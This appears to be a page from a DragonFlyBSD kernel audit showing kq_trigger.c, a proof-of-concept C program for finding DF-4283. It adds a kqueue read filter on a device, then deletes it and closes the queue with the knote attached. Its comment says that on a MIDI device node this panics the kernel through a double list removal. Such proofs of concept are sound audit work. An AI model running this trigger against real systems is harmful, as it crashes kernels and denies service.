⬢ DragonFlyBSD Kernel Audit
DF-4283 / kq_trigger.c
← back to finding ↓ download raw
/*
 * kq_trigger.c -- live-guest control for DF-4283.
 *
 * Exercises, with real syscalls, the exact trigger mechanics of DF-4283:
 * open a device, attach an EVFILT_READ knote, then delete it (and let
 * kqueue close do a second detach path).  On a /dev/midiN.M node this
 * drives kern_event.c knote_detach_and_drop() -> midi_filter_detach() ->
 * the double-list knote_remove() -> panic.  On /dev/midistat (the only
 * midi-family node that exists on this guest) there is no d_kqfilter, so
 * it must complete cleanly -- proving the kevent plumbing works here and
 * that only the absent MIDI hardware blocks the live kernel trigger.
 */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/event.h>
#include <sys/types.h>

int
main(int argc, char **argv)
{
	const char *path = argc > 1 ? argv[1] : "/dev/midistat";
	struct kevent kev, out;
	int fd, kq, n;

	fd = open(path, O_RDWR);
	if (fd < 0) { perror(path); return (2); }
	kq = kqueue();
	if (kq < 0) { perror("kqueue"); return (2); }

	EV_SET(&kev, fd, EVFILT_READ, EV_ADD | EV_ENABLE, 0, 0, NULL);
	n = kevent(kq, &kev, 1, NULL, 0, NULL);
	printf("EV_ADD  EVFILT_READ on %s -> %d\n", path, n);
	if (n < 0) perror("kevent add");

	EV_SET(&kev, fd, EVFILT_READ, EV_DELETE, 0, 0, NULL);
	n = kevent(kq, &kev, 1, NULL, 0, NULL);
	printf("EV_DELETE EVFILT_READ    -> %d (filter detach invoked)\n", n);

	/* second detach path: kqueue teardown with knote still attached */
	EV_SET(&kev, fd, EVFILT_READ, EV_ADD | EV_ENABLE, 0, 0, NULL);
	(void)kevent(kq, &kev, 1, &out, 0, NULL);
	close(kq);
	printf("close(kq) with attached knote (kqueue_terminate path) done\n");

	close(fd);
	printf("TRIGGER-MECHANICS-OK on %s (guest still alive)\n", path);
	return (0);
}